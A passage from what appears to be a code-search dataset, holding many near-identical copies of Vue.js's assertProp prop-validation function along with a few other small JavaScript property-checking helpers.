< type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp(prop, name, value, vm, absent) {\n if (prop.required && absent) {\n warn('Missing required prop: \"' + name + '\"', vm);\n return;\n }\n\n if (value == null && !prop.required) {\n return;\n }\n\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n\n if (!valid) {\n warn(getInvalidTypeMessage(name, value, expectedTypes), vm);\n return;\n }\n\n var validator = prop.validator;\n\n if (validator) {\n if (!validator(value)) {\n warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n }\n }\n }","function assertProp(\n prop,\n name,\n value,\n vm,\n absent\n ) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i], vm);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n\n var haveExpectedTypes = expectedTypes.some(function (t) {\n return t;\n });\n if (!valid && haveExpectedTypes) {\n warn(\n getInvalidTypeMessage(name, value, expectedTypes),\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n }","function check_property(obj, name, value)\n{\n property = Object.getOwnPropertyDescriptor(obj, name)\n assert(typeof property === \"object\")\n assert(property.value === value)\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n ) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n\n if (!valid) {\n warn(\n getInvalidTypeMessage(name, value, expectedTypes),\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n }","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n ) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n\n if (!valid) {\n warn(\n getInvalidTypeMessage(name, value, expectedTypes),\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n }","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n ) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n\n if (!valid) {\n warn(\n getInvalidTypeMessage(name, value, expectedTypes),\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n }","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n ) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n\n if (!valid) {\n warn(\n getInvalidTypeMessage(name, value, expectedTypes),\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n }","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n ) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n \n if (!valid) {\n warn(\n getInvalidTypeMessage(name, value, expectedTypes),\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n }","function isMapProperty(name) {\n return isObjectProperty(name) || ['any','collect',\n 'collectEntries','collectMany','countBy','dropWhile',\n 'each','eachWithIndex','every','find','findAll',\n 'findResult','findResults','get','getAt','groupBy',\n 'inject','intersect','max','min',\n 'putAll','putAt','reverseEach', 'clear',\n 'sort','spread','subMap','add','take','takeWhile',\n 'withDefault','count','drop','keySet',\n 'put','size','isEmpty','remove','containsKey',\n 'containsValue','values'].indexOf(name) >= 0;\n }","function assertProp(prop, name, value, vm, absent) {\n if (prop.required && absent) {\n warn('Missing required prop: \"' + name + '\"', vm);\n return;\n }\n if (value == null && !prop.required) {\n return;\n }\n var type = prop.type;\n var valid = !type;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType);\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn('Invalid prop: type check failed for prop \"' + name + '\".' + ' Expected ' + expectedTypes.map(capitalize).join(', ') + ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.', vm);\n return;\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType);\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType);\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp(prop, name, value, vm, absent) {\n if (prop.required && absent) {\n warn('Missing required prop: \"' + name + '\"', vm);\n return;\n }\n\n if (value == null && !prop.required) {\n return;\n }\n\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n\n if (!valid) {\n warn(getInvalidTypeMessage(name, value, expectedTypes), vm);\n return;\n }\n\n var validator = prop.validator;\n\n if (validator) {\n if (!validator(value)) {\n warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n }\n }\n}","function assertProp(prop, name, value, vm, absent) {\n if (prop.required && absent) {\n warn('Missing required prop: \"' + name + '\"', vm);\n return;\n }\n\n if (value == null && !prop.required) {\n return;\n }\n\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n\n if (!valid) {\n warn(getInvalidTypeMessage(name, value, expectedTypes), vm);\n return;\n }\n\n var validator = prop.validator;\n\n if (validator) {\n if (!validator(value)) {\n warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n }\n }\n}","function assertProp(prop, name, value, vm, absent) {\n if (prop.required && absent) {\n warn('Missing required prop: \"' + name + '\"', vm);\n return;\n }\n\n if (value == null && !prop.required) {\n return;\n }\n\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n\n if (!valid) {\n warn(getInvalidTypeMessage(name, value, expectedTypes), vm);\n return;\n }\n\n var validator = prop.validator;\n\n if (validator) {\n if (!validator(value)) {\n warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n }\n }\n}","function assertProp(prop, name, value, vm, absent) {\n if (prop.required && absent) {\n warn('Missing required prop: \"' + name + '\"', vm);\n return;\n }\n\n if (value == null && !prop.required) {\n return;\n }\n\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n\n if (!valid) {\n warn(getInvalidTypeMessage(name, value, expectedTypes), vm);\n return;\n }\n\n var validator = prop.validator;\n\n if (validator) {\n if (!validator(value)) {\n warn('Invalid prop: custom validator check failed for prop \"' + name + '\".', vm);\n }\n }\n}"],"string":"[\n \"function isControlled(props, valueProp) {\\n // React's built-in considers a prop to be provided if its value is non-null/undefined.\\n // Mirror that behavior here (rather than checking for just undefined).\\n return props[valueProp] !== undefined && props[valueProp] !== null;\\n}\",\n \"function isControlled(props, valueProp) {\\n // React's built-in considers a prop to be provided if its value is non-null/undefined.\\n // Mirror that behavior here (rather than checking for just undefined).\\n return props[valueProp] !== undefined && props[valueProp] !== null;\\n}\",\n \"function checkOjects(value, obj) {\\n return !!obj[value]\\n }\",\n \"validateVariablesValue(value, property, relativePath) {\\n if (Object.prototype.toString.call(value) !== '[object Object]') {\\n throw new Error(`Only an object can be converted to style vars (${relativePath}${property})`);\\n }\\n\\n const keys = Object.keys(value);\\n for (const k of keys) {\\n if (!(\\n // Define ok types of value (can be output as a style var)\\n typeof value[k] === \\\"string\\\"\\n || (typeof value[k] === \\\"number\\\" && Number.isFinite(value[k]))\\n )) {\\n throw new Error(\\n `Style vars must have a value of type \\\"string\\\" or \\\"number\\\". Only flat objects are supported. ` +\\n `In: ${relativePath}${property ? \\\":\\\" : \\\"\\\"}${property}`);\\n }\\n }\\n\\n return true;\\n }\",\n \"_isValidPropertyName(str) {\\n return /^(?![0-9])[a-zA-Z0-9$_]+$/.test(str);\\n }\",\n \"function objectPropertyHasValue(prop) {\\r\\n\\r\\n return typeof prop !== 'undefined' && prop !== \\\"\\\" ? true : false;\\r\\n}\",\n \"function isKey(value, key) {\\n\\t\\t\\t/// Validate a value as being equal to an object key.\\n\\t\\t\\t/// The value to validate.\\n\\t\\t\\t/// The name of the property\\n\\t\\t\\t/// \\n\\n\\t\\t\\tif (value === null || value === undefined) {\\n\\t\\t\\t\\treturn null;\\n\\t\\t\\t}\\n\\n\\t\\t\\tif (Object.keys(obj).indexOf(value) !== -1) {\\n\\t\\t\\t\\treturn value;\\n\\t\\t\\t}\\n\\n\\t\\t\\tthrow new TypeError(\\n\\t\\t\\t\\tkey + \\\" must be one of: \\\" + Object.keys(obj).join(\\\", \\\")\\n\\t\\t\\t);\\n\\t\\t}\",\n \"function assertProp(\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n ) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n }\",\n \"function assertProp(prop, name, value, vm, absent) {\\n if (prop.required && absent) {\\n warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n return;\\n }\\n if (value == null && !prop.required) {\\n return;\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" + \\\" Expected \\\" + expectedTypes.map(capitalize).join(', ') + \\\", got \\\" + toRawType(value) + \\\".\\\", vm);\\n return;\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n }\\n }\\n }\",\n \"function assertProp(prop, name, value, vm, absent) {\\n if (prop.required && absent) {\\n warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n return;\\n }\\n if (value == null && !prop.required) {\\n return;\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" + \\\" Expected \\\" + expectedTypes.map(capitalize).join(', ') + \\\", got \\\" + toRawType(value) + \\\".\\\", vm);\\n return;\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n }\\n }\\n}\",\n \"function assertProp(prop, name, value, vm, absent) {\\n if (prop.required && absent) {\\n warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n return;\\n }\\n if (value == null && !prop.required) {\\n return;\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" + \\\" Expected \\\" + expectedTypes.map(capitalize).join(', ') + \\\", got \\\" + toRawType(value) + \\\".\\\", vm);\\n return;\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n }\\n }\\n}\",\n \"function assertProp(prop, name, value, vm, absent) {\\n if (prop.required && absent) {\\n warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n return;\\n }\\n if (value == null && !prop.required) {\\n return;\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" + \\\" Expected \\\" + expectedTypes.map(capitalize).join(', ') + \\\", got \\\" + toRawType(value) + \\\".\\\", vm);\\n return;\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n }\\n }\\n}\",\n \"function assertProp(prop, name, value, vm, absent) {\\n if (prop.required && absent) {\\n warn('Missing required prop: \\\"' + name + '\\\"', vm);\\n return;\\n }\\n if (value == null && !prop.required) {\\n return;\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" + \\\" Expected \\\" + expectedTypes.map(capitalize).join(', ') + \\\", got \\\" + toRawType(value) + \\\".\\\", vm);\\n return;\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn('Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".', vm);\\n }\\n }\\n}\",\n \"function assertProp(prop, name, value, vm, absent) {\\n if (prop.required && absent) {\\n warn('Missing required prop: \\\"' + name + '\\\"', 